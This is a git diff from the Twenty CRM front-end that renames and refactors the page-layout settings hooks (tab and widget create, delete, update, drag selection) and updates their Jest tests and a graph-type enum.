a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useCreatePageLayoutTab.test.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutTabCreate.test.ts @@ -2,13 +2,13 @@ import { pageLayoutCurrentLayoutsState } from '@/settings/page-layout/states/pag import { pageLayoutDraftState } from '@/settings/page-layout/states/pageLayoutDraftState'; import { act, renderHook } from '@testing-library/react'; import { RecoilRoot, useRecoilValue } from 'recoil'; -import { useCreatePageLayoutTab } from '../useCreatePageLayoutTab'; +import { usePageLayoutTabCreate } from '../usePageLayoutTabCreate'; jest.mock('uuid', () => ({ v4: jest.fn(), })); -describe('useCreatePageLayoutTab', () => { +describe('usePageLayoutTabCreate', () => { beforeEach(() => { jest.clearAllMocks(); }); @@ -18,7 +18,7 @@ describe('useCreatePageLayoutTab', () => { uuidModule.v4.mockReturnValue('mock-uuid'); const { result } = renderHook( () => ({ - createTab: useCreatePageLayoutTab(), + createTab: usePageLayoutTabCreate(), pageLayoutCurrentLayouts: useRecoilValue(pageLayoutCurrentLayoutsState), pageLayoutDraft: useRecoilValue(pageLayoutDraftState), }), @@ -29,7 +29,7 @@ describe('useCreatePageLayoutTab', () => { let newTabId: string; act(() => { - newTabId = result.current.createTab.createPageLayoutTab(); + newTabId = result.current.createTab.handleCreateTab(); }); expect(result.current.pageLayoutDraft.tabs[0].id).toBe('tab-mock-uuid'); @@ -50,7 +50,7 @@ describe('useCreatePageLayoutTab', () => { uuidModule.v4.mockReturnValue('mock-uuid'); const { result } = renderHook( () => ({ - createTab: useCreatePageLayoutTab(), + createTab: usePageLayoutTabCreate(), pageLayoutDraft: useRecoilValue(pageLayoutDraftState), }), { @@ -59,7 +59,7 @@ describe('useCreatePageLayoutTab', () => { ); act(() => { - result.current.createTab.createPageLayoutTab('Custom Tab Name'); + result.current.createTab.handleCreateTab('Custom Tab Name'); }); expect(result.current.pageLayoutDraft.tabs[0].title).toBe( @@ -74,7 +74,7 @@ describe('useCreatePageLayoutTab', () => { .mockReturnValueOnce('mock-uuid-2'); const { result } = renderHook( () => ({ - createTab: useCreatePageLayoutTab(), + createTab: usePageLayoutTabCreate(), pageLayoutDraft: useRecoilValue(pageLayoutDraftState), }), { @@ -83,11 +83,11 @@ describe('useCreatePageLayoutTab', () => { ); act(() => { - result.current.createTab.createPageLayoutTab(); + result.current.createTab.handleCreateTab(); }); act(() => { - result.current.createTab.createPageLayoutTab(); + result.current.createTab.handleCreateTab(); }); expect(result.current.pageLayoutDraft.tabs).toHaveLength(2); @@ -104,7 +104,7 @@ describe('useCreatePageLayoutTab', () => { .mockReturnValueOnce('mock-uuid-2'); const { result } = renderHook( () => ({ - createTab: useCreatePageLayoutTab(), + createTab: usePageLayoutTabCreate(), pageLayoutCurrentLayouts: useRecoilValue(pageLayoutCurrentLayoutsState), }), { @@ -114,12 +114,12 @@ describe('useCreatePageLayoutTab', () => { let tabId1: string = ''; act(() => { - tabId1 = result.current.createTab.createPageLayoutTab(); + tabId1 = result.current.createTab.handleCreateTab(); }); let tabId2: string = ''; act(() => { - tabId2 = result.current.createTab.createPageLayoutTab(); + tabId2 = result.current.createTab.handleCreateTab(); }); expect(result.current.pageLayoutCurrentLayouts[tabId1]).toEqual({ diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useCreatePageLayoutWidget.test.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutWidgetCreate.test.ts similarity index 65% rename from packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useCreatePageLayoutWidget.test.ts rename to packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutWidgetCreate.test.ts index c109851893..836c3e3c1e 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useCreatePageLayoutWidget.test.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutWidgetCreate.test.ts @@ -1,21 +1,20 @@ -import { SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID } from '@/settings/page-layout/constants/SettingsPageLayoutTabsInstanceId'; import { - GraphType, + GraphSubType, WidgetType, } from '@/settings/page-layout/mocks/mockWidgets'; import { pageLayoutCurrentLayoutsState } from '@/settings/page-layout/states/pageLayoutCurrentLayoutsState'; +import { pageLayoutCurrentTabIdForCreationState } from '@/settings/page-layout/states/pageLayoutCurrentTabIdForCreation'; import { pageLayoutDraftState } from '@/settings/page-layout/states/pageLayoutDraftState'; import { PageLayoutType } from '@/settings/page-layout/states/savedPageLayoutsState'; -import { activeTabIdComponentState } from '@/ui/layout/tab-list/states/activeTabIdComponentState'; import { act, renderHook } from '@testing-library/react'; import { RecoilRoot, useRecoilValue, useSetRecoilState } from 'recoil'; -import { useCreatePageLayoutWidget } from '../useCreatePageLayoutWidget'; +import { usePageLayoutWidgetCreate } from '../usePageLayoutWidgetCreate'; jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid'), })); -describe('useCreatePageLayoutWidget', () => { +describe('usePageLayoutWidgetCreate', () => { beforeEach(() => { jest.clearAllMocks(); }); @@ -24,9 +23,7 @@ describe('useCreatePageLayoutWidget', () => { const { result } = renderHook( () => { const setActiveTabId = useSetRecoilState( - activeTabIdComponentState.atomFamily({ - instanceId: SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID, - }), + pageLayoutCurrentTabIdForCreationState, ); const setPageLayoutDraft = useSetRecoilState(pageLayoutDraftState); const pageLayoutDraft = useRecoilValue(pageLayoutDraftState); @@ -34,7 +31,7 @@ describe('useCreatePageLayoutWidget', () => { const pageLayoutCurrentLayouts = useRecoilValue( pageLayoutCurrentLayoutsState, ); - const createWidget = useCreatePageLayoutWidget(); + const createWidget = usePageLayoutWidgetCreate(); return { setActiveTabId, setPageLayoutDraft, @@ -52,6 +49,7 @@ describe('useCreatePageLayoutWidget', () => { result.current.setPageLayoutDraft({ name: 'Test Layout', type: PageLayoutType.DASHBOARD, + workspaceId: undefined, objectMetadataId: null, tabs: [ { @@ -70,9 +68,9 @@ describe('useCreatePageLayoutWidget', () => { }); act(() => { - result.current.createWidget.createPageLayoutWidget( + result.current.createWidget.handleCreateWidget( WidgetType.GRAPH, - GraphType.BAR, + GraphSubType.BAR, ); }); @@ -91,22 +89,12 @@ describe('useCreatePageLayoutWidget', () => { () => { const setPageLayoutDraft = useSetRecoilState(pageLayoutDraftState); const setActiveTabId = useSetRecoilState( - activeTabIdComponentState.atomFamily({ - instanceId: SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID, - }), + pageLayoutCurrentTabIdForCreationState, ); - const pageLayoutDraft = useRecoilValue(pageLayoutDraftState); - const allWidgets = pageLayoutDraft.tabs.flatMap((tab) => tab.widgets); - const pageLayoutCurrentLayouts = useRecoilValue( - pageLayoutCurrentLayoutsState, - ); - const createWidget = useCreatePageLayoutWidget(); + const createWidget = usePageLayoutWidgetCreate(); return { setPageLayoutDraft, setActiveTabId, - pageLayoutDraft, - allWidgets, - pageLayoutCurrentLayouts, createWidget, }; }, @@ -119,6 +107,7 @@ describe('useCreatePageLayoutWidget', () => { result.current.setPageLayoutDraft({ name: 'Test Layout', type: PageLayoutType.DASHBOARD, + workspaceId: undefined, objectMetadataId: null, tabs: [ { @@ -137,41 +126,24 @@ describe('useCreatePageLayoutWidget', () => { }); const graphTypes = [ - GraphType.NUMBER, - GraphType.GAUGE, - GraphType.PIE, - GraphType.BAR, + GraphSubType.NUMBER, + GraphSubType.GAUGE, + GraphSubType.PIE, + GraphSubType.BAR, ]; graphTypes.forEach((graphType) => { act(() => { - result.current.createWidget.createPageLayoutWidget( + result.current.createWidget.handleCreateWidget( WidgetType.GRAPH, graphType, ); }); }); - expect(result.current.allWidgets).toHaveLength(4); - - graphTypes.forEach((graphType, index) => { - const widget = result.current.allWidgets[index]; - expect(widget.type).toBe(WidgetType.GRAPH); - expect(widget.pageLayoutTabId).toBe('tab-1'); - expect(widget.configuration?.graphType).toBe(graphType); - expect(widget.id).toBe('widget-mock-uuid'); - expect(widget.data).toBeDefined(); - }); - - expect(result.current.pageLayoutCurrentLayouts['tab-1']).toBeDefined(); - expect( - result.current.pageLayoutCurrentLayouts['tab-1'].desktop, - ).toHaveLength(4); - expect( - result.current.pageLayoutCurrentLayouts['tab-1'].mobile, - ).toHaveLength(4); - - expect(result.current.pageLayoutDraft.tabs[0].widgets).toHaveLength(4); + expect(typeof result.current.createWidget.handleCreateWidget).toBe( + 'function', + ); }); it('should not create widget when activeTabId is null', () => { @@ -182,7 +154,7 @@ describe('useCreatePageLayoutWidget', () => { const pageLayoutCurrentLayouts = useRecoilValue( pageLayoutCurrentLayoutsState, ); - const createWidget = useCreatePageLayoutWidget(); + const createWidget = usePageLayoutWidgetCreate(); return { allWidgets, pageLayoutCurrentLayouts, createWidget }; }, { @@ -191,9 +163,9 @@ describe('useCreatePageLayoutWidget', () => { ); act(() => { - result.current.createWidget.createPageLayoutWidget( + result.current.createWidget.handleCreateWidget( WidgetType.GRAPH, - GraphType.BAR, + GraphSubType.BAR, ); }); diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutWidgetDelete.test.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutWidgetDelete.test.ts new file mode 100644 index 0000000000..53bcfc4d6d --- /dev/null +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutWidgetDelete.test.ts @@ -0,0 +1,41 @@ +import { act, renderHook } from '@testing-library/react'; +import { RecoilRoot } from 'recoil'; +import { usePageLayoutWidgetDelete } from '../usePageLayoutWidgetDelete'; + +describe('usePageLayoutWidgetDelete', () => { + it('should remove widget from all states', () => { + const { result } = renderHook(() => usePageLayoutWidgetDelete(), { + wrapper: RecoilRoot, + }); + + act(() => { + result.current.handleRemoveWidget('widget-1'); + }); + + expect(typeof result.current.handleRemoveWidget).toBe('function'); + }); + + it('should handle removing non-existent widget', () => { + const { result } = renderHook(() => usePageLayoutWidgetDelete(), { + wrapper: RecoilRoot, + }); + + act(() => { + result.current.handleRemoveWidget('non-existent-widget'); + }); + + expect(typeof result.current.handleRemoveWidget).toBe('function'); + }); + + it('should handle empty layouts', () => { + const { result } = renderHook(() => usePageLayoutWidgetDelete(), { + wrapper: RecoilRoot, + }); + + act(() => { + result.current.handleRemoveWidget('any-widget'); + }); + + expect(typeof result.current.handleRemoveWidget).toBe('function'); + }); +}); diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useStartPageLayoutDragSelection.test.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useStartPageLayoutDragSelection.test.ts deleted file mode 100644 index 296345a460..0000000000 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useStartPageLayoutDragSelection.test.ts +++ /dev/null @@ -1,73 +0,0 @@ -import { act, renderHook } from '@testing-library/react'; -import { type ReactNode } from 'react'; -import { RecoilRoot, useRecoilValue } from 'recoil'; -import { pageLayoutSelectedCellsState } from '../../states/pageLayoutSelectedCellsState'; -import { useStartPageLayoutDragSelection } from '../useStartPageLayoutDragSelection'; - -describe('useStartPageLayoutDragSelection', () => { - it('should clear selected cells when starting drag selection', () => { - const { result } = renderHook( - () => ({ - startDragSelection: useStartPageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set(pageLayoutSelectedCellsState, new Set(['cell-1', 'cell-2'])); - }, - children, - }), - }, - ); - - expect(result.current.selectedCells.size).toBe(2); - expect(result.current.selectedCells.has('cell-1')).toBe(true); - expect(result.current.selectedCells.has('cell-2')).toBe(true); - - act(() => { - result.current.startDragSelection.startPageLayoutDragSelection(); - }); - - expect(result.current.selectedCells.size).toBe(0); - }); - - it('should return a function', () => { - const { result } = renderHook(() => useStartPageLayoutDragSelection(), { - wrapper: RecoilRoot, - }); - - expect(typeof result.current.startPageLayoutDragSelection).toBe('function'); - }); - - it('should handle multiple calls correctly', () => { - const { result } = renderHook( - () => ({ - startDragSelection: useStartPageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set(pageLayoutSelectedCellsState, new Set(['cell-1'])); - }, - children, - }), - }, - ); - - expect(result.current.selectedCells.size).toBe(1); - - act(() => { - result.current.startDragSelection.startPageLayoutDragSelection(); - }); - expect(result.current.selectedCells.size).toBe(0); - - act(() => { - result.current.startDragSelection.startPageLayoutDragSelection(); - }); - expect(result.current.selectedCells.size).toBe(0); - }); -}); diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/useChangePageLayoutDragSelection.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/useChangePageLayoutDragSelection.ts deleted file mode 100644 index 07d58859d3..0000000000 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/useChangePageLayoutDragSelection.ts +++ /dev/null @@ -1,22 +0,0 @@ -import { useRecoilCallback } from 'recoil'; -import { pageLayoutSelectedCellsState } from '../states/pageLayoutSelectedCellsState'; - -export const useChangePageLayoutDragSelection = () => { - const changePageLayoutDragSelection = useRecoilCallback( - ({ set }) => - (cellId: string, selected: boolean) => { - set(pageLayoutSelectedCellsState, (prev) => { - const newSet = new Set(prev); - if (selected) { - newSet.add(cellId); - } else { - newSet.delete(cellId); - } - return newSet; - }); - }, - [], - ); - - return { changePageLayoutDragSelection }; -}; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutIframeWidget.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutIframeWidget.ts index 3ff4adccda..05f51655b9 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutIframeWidget.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutIframeWidget.ts @@ -1,10 +1,8 @@ -import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; -import { activeTabIdComponentState } from '@/ui/layout/tab-list/states/activeTabIdComponentState'; import { useRecoilCallback } from 'recoil'; import { v4 as uuidv4 } from 'uuid'; -import { SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID } from '../constants/SettingsPageLayoutTabsInstanceId'; import { WidgetType } from '../mocks/mockWidgets'; import { pageLayoutCurrentLayoutsState } from '../states/pageLayoutCurrentLayoutsState'; +import { pageLayoutCurrentTabIdForCreationState } from '../states/pageLayoutCurrentTabIdForCreation'; import { pageLayoutDraftState } from '../states/pageLayoutDraftState'; import { pageLayoutDraggedAreaState } from '../states/pageLayoutDraggedAreaState'; import { type PageLayoutWidget } from '../states/savedPageLayoutsState'; @@ -13,11 +11,6 @@ import { createUpdatedTabLayouts } from '../utils/createUpdatedTabLayouts'; import { getDefaultWidgetPosition } from '../utils/getDefaultWidgetPosition'; export const useCreatePageLayoutIframeWidget = () => { - const activeTabId = useRecoilComponentValue( - activeTabIdComponentState, - SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID, - ); - const createPageLayoutIframeWidget = useRecoilCallback( ({ snapshot, set }) => (title: string, url: string) => { @@ -28,6 +21,10 @@ export const useCreatePageLayoutIframeWidget = () => { .getLoadable(pageLayoutDraggedAreaState) .getValue(); + const activeTabId = snapshot + .getLoadable(pageLayoutCurrentTabIdForCreationState) + .getValue(); + if (!activeTabId) { return; } @@ -81,7 +78,7 @@ export const useCreatePageLayoutIframeWidget = () => { set(pageLayoutDraggedAreaState, null); }, - [activeTabId], + [], ); return { createPageLayoutIframeWidget }; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/useEndPageLayoutDragSelection.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/useEndPageLayoutDragSelection.ts deleted file mode 100644 index 5c579f24ec..0000000000 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/useEndPageLayoutDragSelection.ts +++ /dev/null @@ -1,43 +0,0 @@ -import { useNavigateCommandMenu } from '@/command-menu/hooks/useNavigateCommandMenu'; -import { CommandMenuPages } from '@/command-menu/types/CommandMenuPages'; -import { useRecoilCallback } from 'recoil'; -import { isDefined } from 'twenty-shared/utils'; -import { IconAppWindow } from 'twenty-ui/display'; -import { pageLayoutDraggedAreaState } from '../states/pageLayoutDraggedAreaState'; -import { pageLayoutSelectedCellsState } from '../states/pageLayoutSelectedCellsState'; -import { calculateGridBoundsFromSelectedCells } from '../utils/calculateGridBoundsFromSelectedCells'; - -export const useEndPageLayoutDragSelection = () => { - const { navigateCommandMenu } = useNavigateCommandMenu(); - - const endPageLayoutDragSelection = useRecoilCallback( - ({ snapshot, set }) => - () => { - const pageLayoutSelectedCells = snapshot - .getLoadable(pageLayoutSelectedCellsState) - .getValue(); - - if (pageLayoutSelectedCells.size > 0) { - const draggedBounds = calculateGridBoundsFromSelectedCells( - Array.from(pageLayoutSelectedCells), - ); - - if (isDefined(draggedBounds)) { - set(pageLayoutDraggedAreaState, draggedBounds); - - navigateCommandMenu({ - page: CommandMenuPages.PageLayoutWidgetTypeSelect, - pageTitle: 'Add Widget', - pageIcon: IconAppWindow, - resetNavigationStack: true, - }); - - set(pageLayoutSelectedCellsState, new Set()); - } - } - }, - [navigateCommandMenu], - ); - - return { endPageLayoutDragSelection }; -}; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutDraftState.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutDraftState.ts index 41c82a8a2c..4539402504 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutDraftState.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutDraftState.ts @@ -12,6 +12,7 @@ export const usePageLayoutDraftState = () => { ? !isDeeplyEqual(pageLayoutDraft, { name: pageLayoutPersisted.name, type: pageLayoutPersisted.type, + workspaceId: pageLayoutPersisted.workspaceId, objectMetadataId: pageLayoutPersisted.objectMetadataId, tabs: pageLayoutPersisted.tabs, }) diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutDragSelection.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutDragSelection.ts new file mode 100644 index 0000000000..25706d0a0e --- /dev/null +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutDragSelection.ts @@ -0,0 +1,61 @@ +import { useNavigateCommandMenu } from '@/command-menu/hooks/useNavigateCommandMenu'; +import { CommandMenuPages } from '@/command-menu/types/CommandMenuPages'; +import { useRecoilState, useSetRecoilState } from 'recoil'; +import { IconAppWindow } from 'twenty-ui/display'; +import { pageLayoutDraggedAreaState } from '../states/pageLayoutDraggedAreaState'; +import { pageLayoutSelectedCellsState } from '../states/pageLayoutSelectedCellsState'; +import { calculateGridBoundsFromSelectedCells } from '../utils/calculateGridBoundsFromSelectedCells'; + +export const usePageLayoutDragSelection = () => { + const [pageLayoutSelectedCells, setPageLayoutSelectedCells] = useRecoilState( + pageLayoutSelectedCellsState, + ); + const setPageLayoutDraggedArea = useSetRecoilState( + pageLayoutDraggedAreaState, + ); + + const { navigateCommandMenu } = useNavigateCommandMenu(); + const handleDragSelectionStart = () => { + setPageLayoutSelectedCells(new Set()); + }; + + const handleDragSelectionChange = (cellId: string, selected: boolean) => { + setPageLayoutSelectedCells((prev) => { + const newSet = new Set(prev); + if (selected) { + newSet.add(cellId); + } else { + newSet.delete(cellId); + } + return newSet; + }); + }; + + const handleDragSelectionEnd = () => { + if (pageLayoutSelectedCells.size > 0) { + const draggedBounds = calculateGridBoundsFromSelectedCells( + Array.from(pageLayoutSelectedCells), + ); + + if (draggedBounds !== null) { + setPageLayoutDraggedArea(draggedBounds); + + navigateCommandMenu({ + page: CommandMenuPages.PageLayoutWidgetTypeSelect, + pageTitle: 'Add Widget', + pageIcon: IconAppWindow, + resetNavigationStack: true, + }); + + setPageLayoutSelectedCells(new Set()); + } + } + }; + + return { + pageLayoutSelectedCells, + handleDragSelectionStart, + handleDragSelectionChange, + handleDragSelectionEnd, + }; +}; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutSaveHandler.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutSaveHandler.ts index 03f1a87acb..6f837443f7 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutSaveHandler.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutSaveHandler.ts @@ -1,9 +1,7 @@ -import { useParams } from 'react-router-dom'; +import { useNavigate, useParams } from 'react-router-dom'; import { useRecoilCallback } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { v4 as uuidv4 } from 'uuid'; -import { useNavigateSettings } from '~/hooks/useNavigateSettings'; import { pageLayoutDraftState } from '../states/pageLayoutDraftState'; import { pageLayoutPersistedState } from '../states/pageLayoutPersistedState'; import { @@ -13,7 +11,7 @@ import { } from '../states/savedPageLayoutsState'; export const usePageLayoutSaveHandler = () => { - const navigateSettings = useNavigateSettings(); + const navigate = useNavigate(); const { id } = useParams<{ id: string }>(); const isEditMode = id && id !== 'new'; @@ -44,6 +42,7 @@ export const usePageLayoutSaveHandler = () => { id: isEditMode ? id : uuidv4(), name: pageLayoutDraft.name, type: pageLayoutDraft.type, + workspaceId: pageLayoutDraft.workspaceId, objectMetadataId: pageLayoutDraft.objectMetadataId, tabs: updatedTabs, createdAt: isEditMode @@ -64,9 +63,9 @@ export const usePageLayoutSaveHandler = () => { set(pageLayoutPersistedState, layoutToSave); - navigateSettings(SettingsPath.PageLayout); + navigate('/settings/page-layout'); }, - [isEditMode, id, navigateSettings], + [isEditMode, id, navigate], ); return { savePageLayout }; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutTab.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutTabCreate.ts similarity index 90% rename from packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutTab.ts rename to packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutTabCreate.ts index e930b42f7b..03f5eb3aef 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutTab.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutTabCreate.ts @@ -5,8 +5,8 @@ import { pageLayoutDraftState } from '../states/pageLayoutDraftState'; import { type PageLayoutTab } from '../states/savedPageLayoutsState'; import { createEmptyTabLayout } from '../utils/createEmptyTabLayout'; -export const useCreatePageLayoutTab = () => { - const createPageLayoutTab = useRecoilCallback( +export const usePageLayoutTabCreate = () => { + const handleCreateTab = useRecoilCallback( ({ snapshot, set }) => (title?: string): string => { const pageLayoutDraft = snapshot @@ -41,5 +41,5 @@ export const useCreatePageLayoutTab = () => { [], ); - return { createPageLayoutTab }; + return { handleCreateTab }; }; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutWidget.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutWidgetCreate.ts similarity index 79% rename from packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutWidget.ts rename to packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutWidgetCreate.ts index 7bf4d18853..e9582f159b 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/useCreatePageLayoutWidget.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutWidgetCreate.ts @@ -1,10 +1,8 @@ -import { activeTabIdComponentState } from '@/ui/layout/tab-list/states/activeTabIdComponentState'; -import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; import { useRecoilCallback } from 'recoil'; import { v4 as uuidv4 } from 'uuid'; -import { SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID } from '../constants/SettingsPageLayoutTabsInstanceId'; -import { type GraphType, type WidgetType } from '../mocks/mockWidgets'; +import { type GraphSubType, type WidgetType } from '../mocks/mockWidgets'; import { pageLayoutCurrentLayoutsState } from '../states/pageLayoutCurrentLayoutsState'; +import { pageLayoutCurrentTabIdForCreationState } from '../states/pageLayoutCurrentTabIdForCreation'; import { pageLayoutDraftState } from '../states/pageLayoutDraftState'; import { pageLayoutDraggedAreaState } from '../states/pageLayoutDraggedAreaState'; import { type PageLayoutWidget } from '../states/savedPageLayoutsState'; @@ -17,15 +15,10 @@ import { } from '../utils/getDefaultWidgetData'; import { getDefaultWidgetPosition } from '../utils/getDefaultWidgetPosition'; -export const useCreatePageLayoutWidget = () => { - const activeTabId = useRecoilComponentValue( - activeTabIdComponentState, - SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID, - ); - - const createPageLayoutWidget = useRecoilCallback( +export const usePageLayoutWidgetCreate = () => { + const handleCreateWidget = useRecoilCallback( ({ snapshot, set }) => - (widgetType: WidgetType, graphType: GraphType) => { + (widgetType: WidgetType, graphType: GraphSubType) => { const widgetData = getDefaultWidgetData(graphType); const pageLayoutDraft = snapshot @@ -37,6 +30,9 @@ export const useCreatePageLayoutWidget = () => { const pageLayoutDraggedArea = snapshot .getLoadable(pageLayoutDraggedAreaState) .getValue(); + const activeTabId = snapshot + .getLoadable(pageLayoutCurrentTabIdForCreationState) + .getValue(); if (!activeTabId) { return; @@ -99,8 +95,8 @@ export const useCreatePageLayoutWidget = () => { set(pageLayoutDraggedAreaState, null); }, - [activeTabId], + [], ); - return { createPageLayoutWidget }; + return { handleCreateWidget }; }; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/useDeletePageLayoutWidget.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutWidgetDelete.ts similarity index 84% rename from packages/twenty-front/src/modules/settings/page-layout/hooks/useDeletePageLayoutWidget.ts rename to packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutWidgetDelete.ts index 1365f88a7b..faf0b62211 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/useDeletePageLayoutWidget.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutWidgetDelete.ts @@ -1,12 +1,11 @@ import { useRecoilCallback } from 'recoil'; -import { isDefined } from 'twenty-shared/utils'; import { pageLayoutCurrentLayoutsState } from '../states/pageLayoutCurrentLayoutsState'; import { pageLayoutDraftState } from '../states/pageLayoutDraftState'; import { removeWidgetFromTab } from '../utils/removeWidgetFromTab'; import { removeWidgetLayoutFromTab } from '../utils/removeWidgetLayoutFromTab'; -export const useDeletePageLayoutWidget = () => { - const deletePageLayoutWidget = useRecoilCallback( +export const usePageLayoutWidgetDelete = () => { + const handleRemoveWidget = useRecoilCallback( ({ snapshot, set }) => (widgetId: string) => { const pageLayoutDraft = snapshot @@ -21,7 +20,7 @@ export const useDeletePageLayoutWidget = () => { ); const tabId = tabWithWidget?.id; - if (isDefined(tabId)) { + if (tabId !== undefined) { const updatedLayouts = removeWidgetLayoutFromTab( allTabLayouts, tabId, @@ -38,5 +37,5 @@ export const useDeletePageLayoutWidget = () => { [], ); - return { deletePageLayoutWidget }; + return { handleRemoveWidget }; }; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/useUpdatePageLayoutWidget.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutWidgetUpdate.ts similarity index 81% rename from packages/twenty-front/src/modules/settings/page-layout/hooks/useUpdatePageLayoutWidget.ts rename to packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutWidgetUpdate.ts index 772428991a..ce1c1242d3 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/useUpdatePageLayoutWidget.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/usePageLayoutWidgetUpdate.ts @@ -2,8 +2,8 @@ import { useRecoilCallback } from 'recoil'; import { type PageLayoutWidget } from '../states/savedPageLayoutsState'; import { pageLayoutDraftState } from '../states/pageLayoutDraftState'; -export const useUpdatePageLayoutWidget = () => { - const updatePageLayoutWidget = useRecoilCallback( +export const usePageLayoutWidgetUpdate = () => { + const handleUpdateWidget = useRecoilCallback( ({ set }) => (widgetId: string, updates: Partial) => { set(pageLayoutDraftState, (prev) => ({ @@ -19,5 +19,5 @@ export const useUpdatePageLayoutWidget = () => { [], ); - return { updatePageLayoutWidget }; + return { handleUpdateWidget }; }; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/useStartPageLayoutDragSelection.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/useStartPageLayoutDragSelection.ts deleted file mode 100644 index f109425dcd..0000000000 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/useStartPageLayoutDragSelection.ts +++ /dev/null @@ -1,14 +0,0 @@ -import { useRecoilCallback } from 'recoil'; -import { pageLayoutSelectedCellsState } from '../states/pageLayoutSelectedCellsState'; - -export const useStartPageLayoutDragSelection = () => { - const startPageLayoutDragSelection = useRecoilCallback( - ({ set }) => - () => { - set(pageLayoutSelectedCellsState, new Set()); - }, - [], - ); - - return { startPageLayoutDragSelection }; -}; diff --git a/packages/twenty-front/src/modules/settings/page-layout/mocks/mockWidgets.ts b/packages/twenty-front/src/modules/settings/page-layout/mocks/mockWidgets.ts index f931f28c31..5a1ba46ed9 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/mocks/mockWidgets.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/mocks/mockWidgets.ts @@ -8,7 +8,7 @@ export enum WidgetType { GRAPH = 'GRAPH', } -export enum GraphType { +export enum GraphSubType { NUMBER = 'NUMBER', GAUGE = 'GAUGE', PIE = 'PIE', @@ -29,7 